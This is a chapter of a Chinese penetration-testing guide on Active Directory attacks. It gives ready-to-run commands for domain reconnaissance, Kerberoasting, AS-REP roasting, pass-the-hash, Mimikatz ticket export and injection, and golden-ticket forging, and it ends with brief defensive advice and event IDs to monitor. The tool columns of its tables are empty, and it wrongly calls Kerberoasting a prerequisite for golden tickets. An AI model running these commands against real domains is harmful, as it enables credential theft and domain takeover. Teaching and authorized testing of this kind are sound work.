第四章:域环境与权限提升
核心逻辑:域环境是企业内网的“心脏”。拿下域控(DC)等于控制了全域。本章重点在于利用域信任关系和提权漏洞,从普通域用户提升至域管理员。
4.1 域信息收集
目标:绘制域地图,寻找攻击路径。
4.1.1 基础域信息查询
在已控制的域成员机上执行:
cmd
# 查询域信息 whoami /all # 查看当前用户权限及所属组 net config workstation # 查看域控制器名称 nltest /dclist:domain # 列出域控列表 # 查询用户与主机 net user /domain # 列出域内所有用户 net group "Domain Admins" /domain # 查看域管理员组 net group "Domain Computers" /domain # 查看域内主机4.1.2 BloodHound 实战
工具:SharpHound(收集)+ BloodHound(分析)。
原理:通过采集 AD 的 LDAP 数据,可视化展示攻击路径(Shortest Paths to Domain Admins)。
操作步骤:
收集数据:
powershell
# 在受害机运行 SharpHound .\SharpHound.exe --CollectionMethod All --OutputDirectory C:\temp\导入分析:将生成的
.zip文件拖入 BloodHound。关键查询:
Find Shortest Paths to Domain Admins:寻找攻击路径。Find Principals with DCSync Rights:谁有权同步域控密码(攻击目标)。
4.2 域权限提升 (Privilege Escalation)
4.2.1 Kerberoasting(黄金票据前提)
原理:请求服务票据(TGS)时,部分服务账户(如 MSSQL、IIS)使用弱密码加密。攻击者可以请求这些票据并离线破解。
实战步骤:
发现服务账户:
powershell
# 使用 PowerView 查找 SPN 账户 Get-NetUser -SPN请求票据:
# 使用 Impacket GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.10 -request破解 Hash:
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
4.2.2 AS-REP Roasting
原理:针对设置了“不需要 Kerberos 预身份验证”的用户,攻击者可以直接请求其 TGT 票据并进行离线破解。
实战步骤:
# 使用 Impacket GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat4.2.3 基于资源的约束委派 (RBCD)
原理:如果控制了某台机器账户(Computer Account),可以将其配置为允许其他用户模拟成域管理员访问自身。
工具:rbcd.py(Impacket),PowerMad.
4.3 本地权限提升 (Local Privilege Escalation)
目标:从 WebShell 或普通用户权限提升至 SYSTEM/Root。
4.3.1 Windows 提权
漏洞/技术 | 工具 | 说明 |
|---|---|---|
Potato 家族 |
| 利用 COM 对象劫持,从 Service 提权至 SYSTEM。 |
Token 窃取 |
| 从其他进程复制 Token(如域管登录过的进程)。 |
Unquoted Service Path |
| 利用服务路径空格提权。 |
DLL 劫持 |
| 寻找可写入的 DLL 目录。 |
自动化工具:WinPEAS(Windows Privilege Escalation Awesome Script)。
4.3.2 Linux 提权
漏洞/技术 | 命令/工具 | 说明 |
|---|---|---|
内核漏洞 |
| 根据内核版本推荐 EXP。 |
SUID 提权 |
| 查找具有 root 权限的执行文件。 |
Sudo 提权 |
| 查看当前用户能以 root 执行的命令。 |
Capabilities |
| 查找危险的能力(如 |
自动化工具:LinPEAS。
4.4 横向移动技术
目标:利用现有凭证,在内网中扩散。
4.4.1 Pass The Hash (PTH)
原理:不需要破解 NTLM Hash,直接使用 Hash 进行认证。
工具:Impacket-psexec,wmiexec.py.
# 使用 Hash 登录 psexec.py domain.com/user@192.168.1.10 -hashes :NTLM_HASH4.4.2 Pass The Ticket (PTT)
原理:导出用户的 Kerberos 票据(.kirbi),在其他机器上使用。
工具:Mimikatz,Rubeus.
cmd
# Mimikatz 导出票据 mimikatz # sekurlsa::tickets /export # 注入票据 mimikatz # kerberos::ptt ticket.kirbi4.4.3 黄金票据 (Golden Ticket)
原理:利用域控的 KRBTGT 账户 Hash,伪造任意用户的 TGT 票据,有效期通常为 10 年。
工具:Mimikatz.
cmd
# 生成黄金票据 mimikatz # kerberos::golden /user:fakeadmin /domain:domain.com /sid:S-1-5-21-... /krbtgt:NTLM_HASH /ptt4.5 防御视角(给客户)
权限最小化:
禁止普通用户登录域控。
服务账户使用强密码(25位以上),并设置“不需要预身份验证”为 No。
补丁管理:
及时修复 Potato 类提权漏洞。
定期更新域控补丁。
监控异常:
Event ID 4769:Kerberoasting 攻击(请求大量 TGS)。
Event ID 4624:异常时间的登录(如深夜)。
BloodHound 警报:监控 ACL 变更。